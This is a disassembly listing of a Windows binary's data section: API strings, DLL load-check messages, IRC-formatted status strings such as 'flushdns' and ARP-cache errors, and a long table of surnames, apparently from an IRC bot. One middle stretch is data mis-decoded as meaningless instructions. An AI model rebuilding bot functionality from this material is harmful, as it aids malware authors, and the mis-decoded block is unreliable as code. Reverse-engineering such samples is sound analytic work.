aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409B12+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_409B12+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_409B12+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_409B12+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409B12+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_409B12+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_409B12+Ao
		align 4
unk_42D364	db  2Dh	; -		; DATA XREF: sub_40A7CE+2F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 4
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+2CCo
		align 10h
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+12Co
		align 10h
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+C4o
		align 10h
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+28o
		align 10h
a_:					; DATA XREF: sub_40F96A+252o
		unicode	0, <.>,0
unk_42D4F4	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40ABF0o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 4
unk_42D524	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40ABBEo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 4
unk_42D554	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40AB8Ao
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 4
unk_42D578	db  2Dh	; -		; DATA XREF: sub_40AB31+49o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40AC0F+46o
					; sub_40BFEB+38o
aReal		db 'real',0
		align 4
		dd 0
dword_42D5BC	dd 0			; DATA XREF: sub_40B08D+7o
off_42D5C0	dd offset sub_40ACB5	; DATA XREF: sub_40B08D+49r
aConst		db 'const',0
		align 10h
		dd 1, 40AD22h, 7474656Ch, 7265h, 0
		dd 2, 40AD80h, 706D6F63h, 2 dup(0)
		dd 3, 40ADCDh, 6E756F63h, 797274h, 0
		dd 4, 40AE6Bh, 736Fh, 2	dup(0)
		dd 5, 40AEE0h
off_42D628	dd offset aAbdulrazak	; DATA XREF: sub_40ACB5+21r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
off_42D634	dd offset aAddison	; DATA XREF: sub_40B08D+39o
					; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook		; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood		; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
; ---------------------------------------------------------------------------
		aam	0FEh
		inc	edx
		add	al, cl
		inc	byte ptr [edx+0]
		mov	esp, 0B40042FEh
		inc	byte ptr [edx+0]
		lodsb
		inc	byte ptr [edx+0]
		test	al, 0FEh
		inc	edx
		add	[eax-67FFBD02h], ah
		inc	byte ptr [edx+0]
		nop
		inc	byte ptr [edx+0]
		mov	dh, bh
		inc	edx
		add	[eax+780042FEh], al
		inc	byte ptr [edx+0]

loc_42DEC8:				; CODE XREF: ___:loc_42DEC8j
		jo	short loc_42DEC8
		inc	edx
		add	[eax-2], ch
		inc	edx
		add	[eax-2], ah
		inc	edx
		add	[eax-2], bl
		inc	edx
		add	[eax-2], dl
		inc	edx
		add	[eax-2], cl
		inc	edx
		add	[eax-2], al
		inc	edx
		add	[eax], bh
		inc	byte ptr [edx+0]
		xor	dh, bh
		inc	edx
		add	[eax], ch
		inc	byte ptr [edx+0]
		sbb	dh, bh
		inc	edx
		add	[eax], dl
		inc	byte ptr [edx+0]
		add	al, 0FEh
		inc	edx
		add	al, bh
		std
		inc	edx
		add	al, dh
		std
		inc	edx
		add	ah, ah
		std
		inc	edx
		add	al, bl
		std
		inc	edx
		add	al, dl
		std
		inc	edx
		add	ah, al
		std
		inc	edx
		add	[ebp+edi*8-24BFFBEh], bh
		inc	edx
		add	[ebp+edi*8-25BFFBEh], ch
		inc	edx
		add	[ebp+edi*8-26FFFBEh], bl
		inc	edx
		add	[eax+7C0042FDh], cl
		std
		inc	edx
		add	[ebp+edi*8+42h], dh
		add	[ebp+edi*8+42h], ch
		add	[eax-3], ah
		inc	edx
		add	[eax-3], bl
		inc	edx
		add	[eax-3], dl
		inc	edx
		add	[eax-3], cl
		inc	edx
		add	[eax-3], al
		inc	edx
		add	[eax], bh
		std
		inc	edx
		add	[eax], dh
		std
		inc	edx
		add	[eax], ch
		std
		inc	edx
		add	[eax], ah
		std
		inc	edx
		add	[eax], bl
		std
		inc	edx
		add	[eax], dl
		std
		inc	edx
		add	[eax], cl
		std
		inc	edx
		add	ah, bh
		cld
		inc	edx
		add	al, bh
		cld
		inc	edx
		add	al, dh
		cld
		inc	edx
		add	al, ch
		cld
		inc	edx
		add	al, ah
		cld
		inc	edx
		add	ah, dl
		cld
		inc	edx
		add	ah, cl
		cld
		inc	edx
		add	ah, al
		cld
		inc	edx
		add	[eax-4FFFBD04h], bh
		cld
		inc	edx
		add	[eax-5FFFBD04h], ch
		cld
		inc	edx
		add	[eax-6FFFBD04h], bl
		cld
		inc	edx
		add	[eax+7C0042FCh], cl
		cld
		inc	edx
		add	[esp+edi*8+42h], dh
		add	[esp+edi*8+42h], ch
		add	[eax-4], ah
		inc	edx
		add	[eax-4], bl
		inc	edx
		add	[eax-4], dl
		inc	edx
		add	[eax-4], cl
		inc	edx
		add	[eax-4], al
		inc	edx
		add	[eax], bh
		cld
		inc	edx
		add	[eax], dh
		cld
		inc	edx
		add	[esp+edi*8], ah
		inc	edx
		add	[eax], ah
		cld
		inc	edx
		add	[eax], bl
		cld
		inc	edx
		add	[eax], dl
		cld
		inc	edx
		add	[eax], cl
		cld
		inc	edx
; ---------------------------------------------------------------------------
		db 0
		dd offset aLine		; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
		dd offset aMaccormac	; "Maccormac"
		dd offset aMacdonald	; "Macdonald"
		dd offset aMaceachern	; "Maceachern"
		dd offset aMacintyre	; "Macintyre"
		dd offset aMackenney	; "Mackenney"
		dd offset aMacmillan	; "MacMillan"
		dd offset aMacy		; "Macy"
		dd offset aMadigan	; "Madigan"
		dd offset aMaggio	; "Maggio"
		dd offset aMahony	; "Mahony"
		dd offset aMaier	; "Maier"
		dd offset aMaineHershey	; "Maine-Hershey"
